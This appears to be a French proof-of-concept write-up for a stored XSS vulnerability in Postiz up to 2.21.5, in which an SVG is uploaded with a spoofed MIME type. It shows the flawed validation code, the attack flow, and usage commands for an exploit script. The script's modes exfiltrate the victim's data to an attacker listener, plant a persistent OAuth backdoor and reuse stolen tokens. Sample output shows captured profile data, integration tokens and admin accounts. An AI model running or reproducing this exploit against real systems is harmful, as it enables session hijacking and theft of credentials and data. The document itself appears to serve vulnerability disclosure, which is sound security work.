L'attaquant télécharge un .svg avec Content-Type: image/png
  -> Le serveur valide uniquement l'en-tête Content-Type (CWE-345)
    -> Le fichier est enregistré sur le disque avec l'extension .svg d'origine (CWE-434)
      -> nginx le sert comme image/svg+xml
        -> Le navigateur exécute le JavaScript intégré (CWE-79)
          -> Même origine : accès complet à la session de la victime

const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

Python 3.8+
pip install requests

# 1. Vérifier si la cible est vulnérable
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. Exfiltrer tout depuis la victime
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. Créer une porte dérobée persistante
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. Réutiliser le jeton sans identifiants
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

Attaquant                    Serveur Postiz              Victime
    |                              |                        |
    |-- 1. Connexion/Inscription ->|                        |
    |-- 2. Téléchargement SVG malveillant ->|               |
    |<---- URL du fichier ---------|                        |
    |-- 3. Envoi de l'URL à la victime -------------------> |
    |                              |<--- 4. Ouvre l'URL --- |
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JS s'exécute, exfiltre les données -|

$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗  ██╗  ██╗  █████╗  ███████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ██╔═████╗ ██║  ██║ ██╔══██╗ ╚════██║
██║     ██║   ██║█████╗   -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝     ██╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗    ██╔╝
╚██████╗ ╚████╔╝ ███████╗             ██║ ╚██████╔╝      ██║ ╚█████╔╝    ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═════╝       ╚═╝  ╚════╝     ╚═╝

  Postiz <= 2.21.5 — XSS stockée via téléchargement de fichier à type MIME usurpé

[*] Connexion en tant que [email protected] ...
[+] Authentifié.
[*] Génération de la charge utile : Exfiltrer tout en une seule charge utile
[*] Téléchargement du .svg malveillant avec Content-Type: image/png ...
[+] Téléchargement réussi.
    ID:   28c1daee-d83e-403e-bc1f-dba63182d4b0
    Chemin : http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] Démarrage de l'écouteur d'exfiltration sur 0.0.0.0:8888 ...

=================================================================
  Envoyez cette URL à la victime :

  http://target:5000/uploads/2026/04/15/4be19b2244eb.svg

=================================================================

[*] En attente que la victime ouvre le lien ...

[+] Butin reçu @ 2026-04-15 03:45:41
    tag: victim-profile
    data: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}

[+] Butin reçu @ 2026-04-15 03:45:41
    tag: integrations
    data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]

[+] Butin reçu @ 2026-04-15 03:45:42
    tag: team-members
    data: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
    ...